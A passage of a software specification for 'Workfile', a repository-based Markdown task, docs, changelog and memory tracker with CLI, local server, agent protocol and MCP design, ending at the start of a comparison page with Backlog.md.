related: [T-0042, INC-0004]
created: 2026-07-20
updated: 2026-07-28
---
Describe the observed pattern, evidence and preferred response.
```
Statuses: `active`, `graduated`, `superseded`, `discarded`.
A graduated learning has been converted into a convention, automated check, documentation or
code invariant.
#### Decisions
Architecture and product decisions, compatible with ADR practice.
```yaml
---
id: ADR-0008
title: Keep protocol data in repository Markdown
status: accepted
deciders: [owner]
supersedes: []
related: [DOC-0012]
created: 2026-07-28
updated: 2026-07-28
---
## Context
## Decision
## Consequences
```
Statuses: `proposed`, `accepted`, `rejected`, `superseded`.
#### Incidents
Operational failures and their prevention.
```yaml
---
id: INC-0004
title: Deployment marked complete before migrations shipped
severity: high
status: resolved
started_at: 2026-07-26T11:04:00Z
resolved_at: 2026-07-26T14:18:00Z
related: [T-1533, T-1561, LRN-0017]
created: 2026-07-26
updated: 2026-07-28
---
## Impact
## Timeline
## Root cause
## Corrective actions
```
Statuses: `open`, `mitigated`, `resolved`, `closed`.
#### Conventions
Stable rules contributors and agents must follow.
```yaml
---
id: CONV-0006
title: Verify user-visible changes before closing cards
status: active
scope: [project-wide]
related: [INC-0004]
created: 2026-07-28
updated: 2026-07-28
---
A user-visible card remains in review until verified in a running environment.
```
Statuses: `draft`, `active`, `deprecated`, `superseded`.
#### Context
Temporary project facts with explicit expiry or review.
```yaml
---
id: CTX-0011
title: Billing migration freeze window
status: active
expires: 2026-08-15
related: [T-0042]
created: 2026-07-28
updated: 2026-07-28
---
Describe the temporary constraint and what should happen at expiry.
```
Statuses: `active`, `expired`, `resolved`.
Context records SHOULD include `expires` or `review_after`. The doctor warns about expired
active context.
### 14.3 Memory quality rules
Memory MUST NOT become a dumping ground for conversation summaries.
A valid memory record SHOULD:
- contain a stable title and a specific claim;
- explain evidence or rationale;
- link to related records or sources;
- state consequences or future behavior;
- be updated or superseded when invalidated;
- avoid credentials, personal secrets and unnecessary sensitive data.
### 14.4 Graduation
Learnings and incidents should produce stronger artifacts when appropriate:
```text
observation → learning → convention / test / runbook / decision
incident → corrective cards → learning → convention
```
The UI SHOULD show graduation links and unresolved corrective actions.
## 15. Sources and traceability
Long-form raw inputs MAY be stored under `.project/sources/` and linked by records.
Examples:
- audits;
- research dumps;
- imported issue reports;
- migration inventories;
- handoffs;
- external-system exports.
Rules:
- sources are snapshots and SHOULD not be rewritten to reflect later execution state;
- operational state belongs in cards and related records;
- a source may be marked exhausted after all actionable content is represented elsewhere;
- source paths are repository-relative;
- the doctor verifies referenced local paths;
- imported sources MAY store origin metadata such as URL or external issue ID.
## 16. Core architecture
### 16.1 Layers
```text
Configuration and schemas
↓
Workspace and filesystem adapters
↓
Module repositories and domain services
↓
Validation, indexing and relationship graph
↓
CLI / HTTP API / MCP adapters
↓
Local UI and generated agent instructions
```
Dependencies point downward only. The UI MUST NOT contain canonical business rules that the
core does not enforce.
### 16.2 Public core API
The package exposes a documented programmatic API. Every name below is resolved
against the built package by "no doc imports a name the package does not
export" in `test/documentation.test.ts`, so this block cannot drift from what
ships without failing the suite.
```ts
export {
defineProject,
loadWorkspace,
initializeProject,
applyLegacyMigration,
buildProjectIndex,
runDoctor
} from "@illodev/workfile";
export type {
ProjectConfig,
ProjectWorkspace,
ProjectRecord,
CardRecord,
DocumentRecord,
ChangeRecord,
MemoryRecord,
DoctorReport
} from "@illodev/workfile";
```
Module operations are free functions taking a workspace, not repositories
hanging off one. `ProjectWorkspace` carries the configuration, the resolved
paths, the effective schema and the declared integrations — it exposes no
methods, and a caller reaches every operation through the functions below
rather than through a raw file write:
```ts
const { cards } = await loadCards(workspace);
await createCard(workspace, input);
await patchCard(workspace, id, changes, { actor });
await claimCard(workspace, id, { actor, scope });
await transitionCard(workspace, id, status, { actor });
const { documents } = await loadDocuments(workspace);
await createChangeFragment(workspace, input);
await createMemoryRecord(workspace, collection, input);
searchProjectRecords(records, query, { kinds, limit });
```
`searchProjectRecords` takes records rather than a workspace because ranking is
pure: the caller decides what corpus is eligible, which is what lets the CLI,
the HTTP API and MCP share one ranking over different candidate sets.
Subpath exports group the same functions by module — `@illodev/workfile/cards`,
`/docs`, `/changelog`, `/memory`, `/records`, `/search`, `/agents`, `/ci`,
`/core`, `/server`, `/mcp`, `/init`, `/migration`, `/claude`,
`/integrations` — and the root re-exports all of them.
### 16.3 Filesystem adapter
All canonical writes MUST:
1. resolve and validate paths inside the workspace;
2. read the latest on-disk version;
3. validate the intended mutation;
4. write to a temporary file in the same filesystem;
5. atomically rename into place where supported;
6. preserve the body and unknown compatible fields;
7. update semantic timestamps;
8. invalidate affected indexes;
9. return the normalized saved record.
Direct `writeFile` calls outside the filesystem adapter are forbidden in protocol modules.
### 16.4 Optimistic concurrency
Mutation APIs SHOULD accept a revision token derived from file content or metadata:
```ts
interface MutationOptions {
expectedRevision?: string;
}
```
If the file changed after the client loaded it, the mutation returns a conflict rather than
silently overwriting another human or agent.
### 16.5 Unknown fields
The parser MUST preserve unknown frontmatter fields during edits unless they are invalid or
belong to an unsupported future schema version. This permits compatible extensions and safe
round trips.
## 17. Derived index and search
### 17.1 Cache
The default derived index is stored at:
```text
.project/.cache/index.sqlite
```
The exact engine is an implementation detail. It MAY initially be an in-memory index with a
JSON cache, provided the public behavior is stable.
### 17.2 Indexed data
The index may contain:
- normalized record metadata;
- full-text document content;
- outgoing and incoming references;
- hierarchy and dependency edges;
- source paths;
- file fingerprints;
- validation summaries;
- optional embeddings.
### 17.3 Rebuildability
Deleting `.project/.cache/` MUST NOT lose canonical data. `workfile doctor --rebuild-cache`
recreates it from repository files.
### 17.4 Search syntax
A common query language should serve CLI and UI:
```text
payment retry
area:billing status:doing
kind:decision tag:architecture
related:T-0042
path:docs/fiscal
-type:idea
"exact phrase"
```
Unknown field tokens should produce a helpful warning rather than being silently interpreted
as free text.
### 17.5 Semantic search
Semantic search is optional and disabled by default. When enabled:
- embeddings are derived state;
- the provider and data boundary are explicit;
- local providers are supported where practical;
- repository content is never sent externally without user configuration;
- results always link back to canonical files.
## 18. Validation and workfile doctor
### 18.1 Command
```bash
workfile doctor
workfile doctor --json
workfile doctor --severity error
workfile doctor --new
workfile doctor --accept-baseline
workfile doctor --fix
```
`--fix` only applies deterministic, reversible fixes. It MUST show a plan unless `--yes` is
provided.
### 18.2 Severity
- `error` — invalid canonical state or unsafe operation; non-zero exit.
- `warning` — likely inconsistency or stale state; configurable CI behavior.
- `info` — recommendation or maintenance opportunity.
### 18.3 Cross-module checks
The doctor validates at least:
- configuration and schema version;
- required fields and enums;
- IDs, filenames and duplicate identity;
- parser round-trip stability;
- hierarchy depth and cycles;
- broken strict references;
- missing source paths;
- date and range validity;
- claim coherence and stale claims;
- overlapping active scopes;
- archived record eligibility;
- unchecked acceptance criteria on completed cards;
- card-declared commands outside the project's allowlist, which is the only
check a card arriving as a file in a diff ever meets;
- a completed card verified by a method its area no longer accepts, and a
verification policy naming an area the project no longer declares;
- expired active context;
- superseded records still marked active;
- missing release fragments where required by policy;
- stale managed documentation heuristics;
- orphaned asset directories;
- generated agent instructions out of sync;
- frontmatter keys whose shape the codec cannot rewrite, on any kind of record, so that
a header a write would be refused on is found by looking rather than by the refusal;
- uncommitted schema migrations where detectable.
Duplicate identity has a repair contract, because sequential IDs are allocated by scanning
the local maximum and two clones therefore mint the same one independently. Filenames carry
a title slug, so both files merge without a conflict and the collision surfaces only in the
doctor.
- A duplicate is healed by moving the losing record to a free ID in its own sequence. The
surviving record keeps the ID and keeps every reference already written to it.
- The survivor MUST be chosen deterministically, so two clones repairing the same collision
converge without coordinating. Comparisons MUST order by code unit rather than by locale.
- A record that has been published MUST NOT move. A released changelog fragment is frozen
when its release is cut, and renumbering it would rewrite history that has shipped.
- A collision the tool declines to heal MUST be reported with the reason it declined, and
MUST NOT name a command that cannot perform the repair.
### 18.4 Baseline mode
`--accept-baseline` records the current issues as known, and `--new` then exits non-zero only
on issues that appeared since. This is the adoption path for an existing repository and the
recommended CI gate.
A per-diff mode was specified here for a long time and never built. It is not planned: rule
evaluation is 3–5% of the command's cost at every measured scale — the rest is reading the
corpus, which a scoped run cannot skip and which is cold in CI regardless, since the cache
directory is not committed. Several rules are also global by nature (a stale claim, an expired
context, a duplicate id), so a run scoped to touched records would report them only after the
merge that made them matter.
### 18.5 Rule registry
Rules implement a shared interface:
```ts
interface DoctorRule {
id: string;
modules: string[];
run(context: DoctorContext): Promise<DoctorIssue[]>;
fix?: (issue: DoctorIssue, context: FixContext) => Promise<FixResult>;
}
```
Project-specific rules use namespaced IDs.
## 19. CLI
### 19.1 Entry points
```bash
workfile init
workfile schema
workfile doctor
workfile upgrade
workfile version
workfile ui
workfile card
workfile doc
workfile changelog
workfile memory
workfile agents
workfile ci
workfile claude
workfile migrate
workfile mcp
workfile search
```
Running `workfile` with no subcommand starts the UI. Nothing in configuration
disables that: the command word defaults to `ui` before any config is read.
### 19.2 Initialization
```bash
pnpm dlx @illodev/workfile init
```
The initializer:
1. discovers the repository and package manager;
2. detects monorepo workspaces and likely areas;
3. finds existing documentation paths;
4. asks which modules to enable;
5. asks which agent environments are used;
6. proposes paths and previews changes;
7. creates configuration and protocol directories;
8. writes `.project/VERSION`;
9. updates `.gitignore` for cache only;
10. optionally adds package scripts;
11. optionally imports an existing v1 backlog;
12. runs the doctor and prints next steps.
It MUST NOT overwrite existing files without confirmation or an explicit merge strategy.
### 19.3 Suggested package scripts
```json
{
"scripts": {
"project": "workfile ui",
"project:doctor": "workfile doctor",
"project:agents": "workfile agents sync"
}
}
```
The package manager prefix is detected; the protocol itself does not require these aliases.
### 19.4 Card commands
```bash
workfile card list
workfile card show T-0042
workfile card create
workfile card patch T-0042 --json-input changes.json
workfile card claim T-0042 --scope apps/api
workfile card release T-0042
workfile card transition T-0042 review
workfile card archive T-0042
workfile card reopen T-0042
```
Machine-oriented usage supports JSON input and output:
```bash
workfile card create --json-input card.json --json
```
### 19.5 Documentation commands
```bash
workfile docs list
workfile docs create --kind architecture
workfile docs show DOC-0012
workfile search "billing retry" --kind doc
```
### 19.6 Changelog commands
```bash
workfile changelog add
workfile changelog list --unreleased
workfile changelog release 2.4.0
workfile changelog render
workfile changelog verify
```
### 19.7 Memory commands
```bash
workfile memory add learning
workfile memory add decision
workfile memory add incident
workfile memory add convention
workfile memory add context
workfile memory list --query "deployment verification"
workfile memory supersede ADR-0008
workfile memory graduate LRN-0017 --to CONV-0001
```
### 19.8 Exit codes
- `0` success;
- `1` validation or expected command failure;
- `2` invalid usage or configuration;
- `3` write conflict;
- `4` migration required;
- other codes reserved for documented fatal errors.
## 20. Local server and HTTP API
### 20.1 Server behavior
```bash
workfile ui
```
- serves the precompiled UI and JSON API from one local process;
- binds to `127.0.0.1` by default;
- selects configured port or a free alternative when allowed;
- prints the workspace and URL;
- may open the browser;
- watches canonical files and updates clients;
- never assumes the package is located inside the project tree.
### 20.2 API shape
Versioned endpoints use `/api/v2`:
```text
GET /api/v2/workspace
GET /api/v2/schema
GET /api/v2/records
GET /api/v2/records/:id
POST /api/v2/cards
PATCH /api/v2/cards/:id
POST /api/v2/cards/:id/claim
POST /api/v2/cards/:id/transition
POST /api/v2/cards/bulk
GET /api/v2/docs
GET /api/v2/changelog
GET /api/v2/memory
GET /api/v2/search
GET /api/v2/health
POST /api/v2/index/rebuild
```
Module-specific routes may supplement the common record API.
### 20.3 Schema endpoint
The UI MUST obtain effective vocabularies and module capabilities at runtime:
```json
{
"schemaVersion": 2,
"modules": {
"cards": true,
"docs": true,
"changelog": true,
"memory": true
},
"cards": {
"statuses": ["backlog", "next", "doing", "review", "blocked", "deferred", "done", "discarded"],
"types": ["epic", "idea", "feature", "bug", "task", "audit", "docs", "chore"],
"priorities": ["critical", "high", "medium", "low"],
"areas": ["api", "web", "infra", "docs"]
}
}
```
The UI MUST NOT compile project-specific areas or collections into its TypeScript bundle.
### 20.4 API errors
Errors use a stable structure:
```json
{
"error": {
"code": "CARD_WRITE_CONFLICT",
"message": "The card changed after it was loaded.",
"details": {}
}
}
```
## 21. User interface
### 21.1 Information architecture
The primary navigation groups the product by user intent:
```text
Work
├── Explorer
├── Triage
├── Flow
├── Epics
└── Timeline
Knowledge
├── Docs
├── Memory
└── Search
History
├── Changelog
└── Releases
System
└── Health
```
Exact visual navigation may use tabs, sidebar or command palette, but these concepts remain
separate.
### 21.2 Shared behaviors
- global search across enabled modules;
- bookmarkable URL state;
- light and dark themes;
- keyboard navigation;
- accessible drawers and dialogs;
- local editor deep links;
- relationship and backlink panels;
- optimistic updates with conflict recovery;
- file-change refresh without erasing unsaved edits;
- clear read-only versus editable state;
- useful empty states when a module is disabled or uninitialized.
### 21.3 Work views
The existing concepts remain:
- Explorer: virtualized table, facets, sorting and bulk mutation;
- Triage: one-card prioritization queue with keyboard shortcuts;
- Flow: execution board with drag-and-drop transitions;
- Epics: hierarchy and child progress;
- Timeline: optional scheduling view;
- card drawer: metadata, Markdown body, relationships and assets.
### 21.4 Docs view
The Docs view provides:
- source/collection tree;
- full-text search;
- Markdown rendering;
- metadata and freshness status;
- incoming and outgoing links;
- related work and decisions;
- open-in-editor action;
- optional managed-document editing after MVP.
### 21.5 Changelog view
The History view provides:
- unreleased fragments;
- release groups;
- public/internal visibility filters;
- linked cards and decisions;
- release preparation preview;
- rendered output preview;
- validation before release.
### 21.6 Memory view
The Memory view provides:
- collection filters;
- active/superseded/expired states;
- relationship graph or backlinks;
- learning occurrence and confidence metadata;
- decision chains;
- incident corrective actions;
- graduation and supersession actions.
### 21.7 Health view
Health renders the exact doctor report, supports severity filtering and links issues to their
records and files. It MUST not implement a separate set of validation rules.
## 22. Agent protocol
### 22.1 Canonical instructions
The source instruction set lives under:
```text
.project/agents/protocol.md
.project/agents/workflows/*.md
```
Adapters generate concise compatible instructions for:
```text
AGENTS.md
CLAUDE.md
.cursor/rules/workfile.mdc
.github/copilot-instructions.md
```
Generated blocks include a version marker and MUST be replaceable without overwriting
unrelated user content.
### 22.2 Core obligations
A protocol-aware agent MUST:
1. inspect relevant project records before beginning substantial work;
2. create cards in the same session when actionable pending work is discovered;
3. claim a card before modifying its scope;
4. check active claims and overlapping scopes;
5. keep the card updated while working;
6. clear claims when active work stops;
7. use `review` until verification supports `done`;
8. record durable decisions, incidents or learnings when they change future behavior;
9. add changelog fragments when project policy requires them;
10. never place credentials or unnecessary sensitive information in workfile memory;
11. run relevant doctor checks before finishing;
12. prefer CLI or MCP mutations over hand-written frontmatter.
### 22.3 Agent context budget
Agents SHOULD load the smallest relevant context:
- one card and its relationship neighborhood;
- scoped docs and decisions;
- active conventions;
- unresolved incidents relevant to the paths;
- non-expired context.
The protocol MUST not encourage injecting the entire workfile memory into every prompt.
### 22.4 Instruction synchronization
```bash
workfile agents sync
workfile agents check
```
`sync` regenerates managed instruction blocks. `check` fails when generated blocks are stale
relative to the installed protocol version or project configuration.
## 23. MCP and tool adapters
MCP is an adapter over core services, not a second implementation.
The tool catalogue is **not restated here**. `docs/mcp.md` documents every
shipped tool with its parameters and reply shape, and `workfile mcp inspect`
prints the same list from the definitions the server answers `tools/list` with.
An earlier revision of this section listed fourteen recommended tools in a
verb-first naming scheme. The server shipped noun-first in 0.1.0 and grew past
it, so from the first release until this was corrected the normative document
named thirteen tools no client could call. A second copy of a catalogue is only
right until one of them moves.
Tools are named `project_<module>_<operation>` — the module first, so a client
listing them reads them grouped: `project_card_list`, `project_card_claim`,
`project_doc_create`, `project_memory_add`. Operations that answer for any
record type drop the module: `project_search`, `project_next`,
`project_get_record`, `project_workspace`, `project_doctor`.
Rules:
- all writes use the same validation and concurrency behavior as CLI;
- tools return stable machine-readable errors;
- mutating tools report changed files;
- tool descriptions include protocol semantics, especially `review` versus `done`;
- the server may expose MCP over stdio first; network transports are optional later.
## 24. Security and safety
### 24.1 Path safety
- all local paths are normalized and checked against workspace boundaries;
- symlink escapes are rejected for writes;
- asset and document routes reject traversal;
- external read-only sources require explicit configuration;
- arbitrary file serving is prohibited.
### 24.2 Local server
- loopback binding is default and recommended;
- non-loopback binding requires an explicit flag and warning;
- no authentication is required for loopback MVP;
- remote binding requires authentication before being considered supported.
### 24.3 Content safety
- Markdown rendering sanitizes unsafe HTML;
- external links are clearly marked and opened safely;
- `vscode://` or editor links are opt-in/configurable;
- uploaded filenames and MIME handling are defensive;
- executable attachments are not launched by the server.
### 24.4 Sensitive data
The doctor SHOULD detect likely secrets in protocol records through optional integration with
existing secret scanners. The protocol itself does not store credentials.
## 25. Schema versioning and migrations
### 25.1 Version declaration
`project.config.mjs` and `.project/VERSION` declare the schema version. A mismatch is an
error requiring reconciliation.
Example `.project/VERSION`:
```json
{
"schemaVersion": 2,
"createdWith": "@illodev/workfile@2.0.0",
"migratedAt": "2026-07-28T10:00:00Z"
}
```
### 25.2 Compatibility
- patch package releases do not change canonical schema;
- minor package releases may add optional backward-compatible fields or commands;
- schema-breaking changes require a new schema version and migration;
- newer unsupported schema versions are opened read-only where possible;
- unknown compatible fields are preserved.
### 25.3 Migration behavior
```bash
workfile migrate plan
workfile migrate apply
```
Migrations:
1. inspect current state;
2. produce a human-readable plan;
3. create a Git-friendly backup or require a clean worktree;
4. apply deterministic file changes;
5. run the doctor;
6. report every changed path;
7. update version metadata only after successful validation.
No migration deletes historical records by default.
## 26. Migration from Unified Backlog System v1
The existing implementation is treated as a supported legacy source.
### 26.1 Legacy layout
```text
.planning/backlog/
├── tasks/
├── archive/
├── assets/
├── board/
└── SPEC.md
.planning/changelog/
.planning/learnings/
.planning/sources/
```
### 26.2 Migration mapping
| v1 | v2 |
| --- | --- |
| `.planning/backlog/tasks/` | `.project/cards/` |
| `.planning/backlog/archive/` | `.project/cards/archive/` |
| `.planning/backlog/assets/` | `.project/assets/` |
| `.planning/changelog/` | `.project/changelog/` or configured source |
| `.planning/learnings/` | `.project/memory/learnings/` |
| `.planning/sources/` | `.project/sources/` |
| v1 board source | installed npm package; removed after verification |
| fixed Fube areas | configured `cards.areas` |
### 26.3 Compatibility-first approach
The migrator SHOULD support two strategies:
#### In-place compatibility
Keep existing paths and generate configuration pointing to them. This minimizes the first
diff and allows the package architecture to be validated before moving data.
#### Canonical relocation
Move records to `.project/` with Git-aware renames and rewrite affected relative links.
The default recommendation is:
1. install the package;
2. use existing v1 paths through config;
3. validate feature parity;
4. relocate records in a later dedicated migration.
### 26.4 Code extraction plan
The existing implementation should be transformed in this order:
1. move parser, serializer and diagnostic logic into `src/core`;
2. introduce `loadWorkspace()` and configuration-driven paths;
3. replace server-relative constants with workspace services;
4. move all canonical writes behind repositories and atomic filesystem operations;
5. add runtime schema endpoint;
6. remove project-specific enums from the UI bundle;
7. package prebuilt UI assets;
8. generalize Knowledge into configured Docs, History and Memory collections;
9. add CLI initialization and migrations;
10. generate agent instructions;
11. add MCP only after core contracts stabilize.
### 26.5 Required parity before deleting v1 board code
- all existing cards load without semantic change;
- parser round-trip tests remain byte-stable;
- create, patch, bulk patch, claim, archive and asset upload work;
- Explorer, Triage, Flow, Epics, Timeline and Health remain functional;
- changelogs and learnings remain discoverable;
- existing URLs have an equivalent or redirect where practical;
- doctor output is equal or stricter with documented changes;
- no v1 source directory is deleted automatically.
## 27. Extensibility
### 27.1 Internal module contract
```ts
interface ProjectModule {
id: string;
version: number;
collections: CollectionDefinition[];
load(workspace: ProjectWorkspace): Promise<ModuleRuntime>;
doctorRules?: DoctorRule[];
routes?: RouteDefinition[];
cli?: CommandDefinition[];
ui?: UiModuleManifest;
agentInstructions?: InstructionFragment[];
}
```
Version 2 uses this contract internally. Third-party npm modules are not a public stability
promise until the contract has been validated by real modules.
### 27.2 Namespacing
Extensions use namespaced IDs and fields:
```text
acme/risk
acme.compliance_level
```
Core serializers preserve them. Portable UI may display unknown fields generically.
### 27.3 External adapters
Adapters may connect GitHub, GitLab, Jira, Linear, Slack or deployment systems. They MUST
state which side is authoritative and how conflicts are resolved.
No adapter may silently convert the repository into a non-authoritative cache.
## 28. Performance requirements
The MVP target workspace contains:
- 10,000 cards;
- 10,000 documentation and memory records combined;
- 5,000 changelog fragments and releases;
- ordinary Markdown bodies up to 1 MB;
- assets excluded from full-text indexing unless supported.
Targets on a typical developer machine after warm index:
- initial UI metadata response under 1 second for 10,000 cards;
- common filtered search under 150 ms;
- single-record mutation under 250 ms excluding filesystem contention;
- incremental reindex of one changed Markdown file under 200 ms;
- UI remains responsive through virtualization or incremental rendering.
Cold scans may exceed these targets but SHOULD stream progress and cache results.
## 29. Testing strategy
### 29.1 Core tests
- parser and serializer inverse properties;
- unknown-field preservation;
- ID allocation under concurrent requests;
- atomic write recovery;
- path traversal and symlink escapes;
- hierarchy and relationship validation;
- migration fixtures;
- schema compatibility fixtures;
- module repository behavior.
### 29.2 CLI tests
- workspace discovery;
- non-interactive JSON mode;
- initializer merge safety;
- exit codes;
- dirty worktree migration behavior;
- package-manager detection.
### 29.3 Server tests
- versioned endpoints;
- conflict responses;
- static UI and asset serving;
- input size limits;
- Markdown sanitization;
- runtime schema delivery.
### 29.4 UI tests
- large dataset navigation;
- filters and URL state;
- edit conflict recovery;
- unsaved-form protection on refresh;
- keyboard and accessibility flows;
- module-disabled states;
- relationship navigation.
### 29.5 Golden project fixtures
The repository SHOULD include fixtures for:
- empty project;
- cards-only project;
- full v2 project;
- legacy v1 project;
- corrupted project with expected doctor output;
- future-schema read-only project.
## 30. CI integration
Recommended workflow:
```bash
workfile doctor --new
workfile agents check
workfile changelog verify
```
Optional full validation on protected branches:
```bash
workfile doctor --severity warning
workfile changelog verify
workfile memory verify
```
CI MUST not require starting the UI.
## 31. Observability
The local server may emit structured debug logs when enabled:
```text
time, level, operation, module, recordId, durationMs, changedPaths
```
Default output remains quiet and human-readable. Telemetry is disabled by default.
Doctor reports and migration plans are reproducible artifacts suitable for CI upload.
## 32. MVP definition
Version 2 MVP is complete when all of the following are true:
### Core and configuration
- one npm package exposes the CLI and programmatic core;
- workspace discovery and `project.config.mjs` work;
- schema versioning and `.project/VERSION` work;
- all paths are configuration-driven;
- writes are atomic and preserve unknown fields.
### Work
- feature parity with the existing card system;
- runtime-configured areas;
- atomic claim and transition commands;
- cards remain readable and editable as Markdown.
### Docs
- configured Markdown sources are indexed and searchable;
- managed documents can be created through core/CLI;
- UI can browse and render documents with backlinks.
### History
- changelog fragments can be created, browsed and validated;
- release records can consume fragments;
- generated changelog preview is available.
### Memory
- learning, decision, incident, convention and context records load;
- records can be created through core/CLI;
- supersession, expiry and relationships are validated;
- UI can browse and search all collections.
### System
- unified search works across modules;
- Health renders shared doctor results;
- initializer and v1 compatibility migration exist;
- canonical agent instructions and at least `AGENTS.md` adapter exist;
- CI commands work without UI dependencies.
MCP, semantic search, remote adapters and public plugins are not required for MVP.
## 33. Implementation phases
### Phase 0 — Lock contracts
- approve this spec;
- choose final project/package name;
- settle default paths and config shape;
- add golden fixtures from the existing v1 implementation.
### Phase 1 — Core extraction
- create package skeleton;
- extract parser, serializer, loader and doctor;
- add workspace/config services;
- implement atomic writes and revision tokens;
- keep current UI temporarily connected through a compatibility server.
### Phase 2 — Portable Work module
- configuration-driven areas and paths;
- CLI card operations;
- runtime schema endpoint;
- precompiled UI package;
- v1 compatibility configuration;
- parity tests.
### Phase 3 — Docs and unified index
- glob discovery;
- common record index and search;
- Docs UI;
- backlinks and freshness checks;
- managed document CLI.
### Phase 4 — History and Memory
- changelog fragments and releases;
- memory collection schemas;
- History and Memory UI;
- graduation, supersession and expiry checks.
### Phase 5 — Initialization and agents
- interactive/non-interactive initializer;
- agent protocol generator;
- adapters for selected environments;
- CI templates;
- migration plan/apply commands.
### Phase 6 — Integrations
- MCP server;
- semantic search option;
- external tracker and deployment adapters;
- evaluate public plugin API.
## 34. Phase 0 decisions
The following decisions are locked for the v2 implementation. Changes require a dated
amendment and, when they affect canonical files, an explicit schema compatibility analysis.
1. **Product and CLI** — the technical product name is **Workfile**; the formal
standard remains **Repository Workfile**. The executable is `workfile`.
2. **Default root** — canonical managed data uses `.project/`. Every path remains
configurable to support compatibility and specialized repositories.
3. **Package scope** — the initial package is `@illodev/workfile`. The package is internally
modular but ships as one release unit through the v2 MVP.
4. **Canonical language** — the whole protocol surface is English: normative
specifications, field names, enum values, diagnostic codes, machine contracts, UI
labels, generated instructions and record bodies. Localization was offered through
`config.language` until 0.6.x and removed in ADR-0012; the key is accepted and
ignored so existing configurations keep loading.
5. **Card statuses** — the existing eight statuses are fixed protocol semantics in schema v2.
Projects may hide statuses from selected views but may not remove or redefine them.
6. **Managed Docs UI** — indexed and managed documents are read-only in the MVP UI. Managed
documents can be created and updated through core and CLI. In-UI document editing is
deferred until conflict handling has proven stable on cards.
7. **Release model** — release identifiers are project-configurable. Semver is the default;
calendar/date releases are supported. The selected strategy is declared in configuration
and may not be inferred differently by CLI, UI and CI.
8. **ID allocation** — MVP allocation scans active and archived IDs, proposes the next
sequence and exclusively creates a transient ID reservation under the disposable cache
before writing the slugged record file. A collision causes a bounded retry with the next
sequence. No canonical counter file is introduced in schema v2. Stale reservations are
diagnosable and recoverable.
9. **Derived index** — Phase 1 starts with an in-memory index behind an `IndexStore` contract.
The MVP persistent implementation is disposable SQLite under `.project/.cache/`. Canonical
behavior must not depend on SQLite being present or intact.
10. **Agent instruction ownership** — `.project/agents/protocol.md` and workflow files are the
canonical instruction source. Root/editor files contain generated, replaceable managed
blocks and may also contain unrelated human-maintained instructions.
11. **v1 migration** — compatibility-path adoption is the default. Canonical relocation to
`.project/` is a separate explicit migration after functional parity is verified.
12. **Publication** — development begins as a private package. Publication and license are
product-governance decisions and do not block or alter the v2 technical contracts.
### 34.1 Phase 0 acceptance criteria
Phase 0 is complete when:
- this RC is accepted as the implementation contract;
- the legacy v1 implementation is preserved as a golden fixture;
- default configuration and effective schema fixtures exist;
- parser round-trip and doctor parity tests run outside the legacy board directory;
- Phase 1 code no longer imports paths or enums from the Fube repository layout.
## 35. Locked implementation defaults
Unless amended, implementations use these defaults:
```text
Product: Workfile
Package: @illodev/workfile
CLI: project
Schema: 2
Root: .project/
Config: project.config.mjs
Canonical language: English, with no localized surface
Index: in-memory first; disposable SQLite for MVP
Migration: compatibility paths first
Instructions: .project/agents/protocol.md is canonical
```
The following original design recommendations remain in force:
1. One npm package for the v2 MVP, with internal boundaries suitable for later extraction.
2. Markdown as canonical storage and a disposable local index.
3. Project-specific areas are supplied at runtime by configuration.
4. Docs index existing files and manage optional protocol-owned documents.
5. Changelog uses atomic fragments plus release records.
6. Memory is split into learnings, decisions, incidents, conventions and expiring context.
7. CLI/core operations are authoritative; prompts only explain how to invoke them.
8. MCP is built after the core API stabilizes.
9. The local UI remains one precompiled application served by the package.
## 36. Phase 6 integration decisions
1. **MCP transport** — schema-v2 ships a local stdio server. Messages are UTF-8,
newline-delimited JSON-RPC. Streamable HTTP is deferred until authentication, Origin
validation and deployment-specific authorization have a concrete remote-use case.
2. **Protocol revisions** — the server is dual-era. Modern requests implement revision
`2026-07-28` with per-request metadata, `server/discover`, stateless operation,
`resultType` and cache metadata. Legacy clients may negotiate `2025-11-25` and the
implementation's declared earlier revisions through `initialize`.
3. **Shared domain core** — MCP tools call the same core mutations as CLI and HTTP. No MCP
handler may write canonical files directly.
4. **Safety mode** — MCP can be started read-only. Mutating tools are omitted from discovery
and direct mutation calls fail with a stable protocol result.
5. **Resources and prompts** — canonical records are readable through `project://` resources.
Start-work, finish-work and record-knowledge prompts are protocol adapters, not separate
sources of project truth.
6. **Semantic search** — lexical search remains the built-in deterministic default. Semantic
ranking is accepted only through an explicitly injected provider. The package never sends
repository content to a network service by itself.
7. **Integration API** — the 0.6 integration registry is experimental and limited to approved
semantic search and health adapters. It must mature from real usage before becoming a
general plugin ABI.
8. **Vendor adapters** — issue tracker and deployment-provider adapters are deferred. Their
credentials, remote identity and synchronization semantics are not canonical schema-v2
concerns.
9. **Publication governance** — technical packaging is prepared, but the package remains
`private: true` and `UNLICENSED` until the owner makes the publication and license decision
recorded as open in Phase 0.
## 37. Amendment log
- **2026-07-28 RC2** — Locked the dual-era local MCP stdio contract (`2026-07-28` modern
semantics plus legacy initialization compatibility), explicit read-only behavior,
host-injected semantic search and the intentionally narrow experimental integration API.
- **2026-07-28 RC1** — Locked Phase 0 technical contracts: product/package names, `.project/`
root, fixed statuses, read-only Docs MVP UI, release strategy, collision-safe transient ID reservation,
staged index implementation, canonical agent instructions and compatibility-first migration.
- **2026-07-28 DRAFT** — Initial v2 draft derived from Unified Backlog System v1 and expanded
into a portable repository operating protocol covering Work, Docs, History and Memory.
---
<!-- https://workfile.illodev.com/vs/backlog-md -->
---
title: Workfile vs Backlog.md — Markdown task tracking for AI agents, compared
label: vs Backlog.md
description: Both keep tasks as Markdown in git, with a CLI, a board and an MCP server. Backlog.md ships a compiled binary and a terminal board; Workfile enforces claims and a done gate.
checked: 2026-09-14
---
# Workfile vs Backlog.md
Backlog.md is the closest thing to Workfile there is: tasks as Markdown files with frontmatter, git as the database, a CLI, a web board and an MCP server. The difference is what happens when an agent does not follow the rules. In Backlog.md an assignee is a field and acceptance criteria are guidance; in Workfile a claim refuses another actor's transition, and `done` is refused while a criterion is unchecked. Backlog.md is far more widely used, ships as a compiled binary, and has a terminal board Workfile does not.
Read against Backlog.md [1.52.0](https://registry.npmjs.org/backlog.md) at commit [`39912b8`](https://github.com/MrLesk/Backlog.md/tree/39912b864053dcdd1fafc458aacde43ffd616a0c) and `@illodev/workfile` 0.13.2.
## Side by side
| | Workfile 0.13.2 | Backlog.md 1.52.0 |
| --- | --- | --- |
